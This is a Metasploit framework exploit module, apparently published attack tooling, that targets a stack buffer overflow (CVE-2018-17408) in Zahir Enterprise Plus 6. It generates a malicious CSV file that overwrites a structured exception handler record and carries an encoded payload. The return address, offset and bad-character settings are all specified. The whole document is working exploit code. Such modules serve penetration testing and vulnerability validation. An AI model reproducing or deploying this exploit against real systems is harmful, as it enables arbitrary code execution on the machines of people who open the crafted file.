## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info={}) super(update_info(info, 'Name' => "Zahir Enterprise Plus 6 Stack Buffer Overflow", 'Description' => %q{ This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below. The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters via Import from other File. This results in overwriting a structured exception handler record. }, 'License' => MSF_LICENSE, 'Author' => [ 'f3ci', # initial discovery 'modpr0be' # poc and Metasploit Module ], 'References' => [ [ 'CVE', '2018-17408' ], [ 'EDB', '45505' ] ], 'Platform' => 'win', 'Targets' => [ ['Zahir Enterprise Plus 6 <= build 10b', { #P/P/R from vclie100.bpl (C:\Program Files\Zahir Personal 6 - Demo Version\vclie100.bpl) 'Ret' => 0x52016661, 'Offset' => 3041 } ] ], 'Payload' => { 'Space' => 5000, 'BadChars' => "\x00\x0a\x0d\x22\x2c", 'DisableNops' => true }, 'DisclosureDate' => 'Sep 28 2018', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The malicious file name', 'msf.csv']) ]) end def exploit buf = rand_text_alpha_upper(target['Offset']) buf << "\r\n" # crash chars buf << rand_text_alpha_upper(380) # extra chars to hit the offset buf << generate_seh_record(target.ret) buf << payload.encoded file_create(buf) end end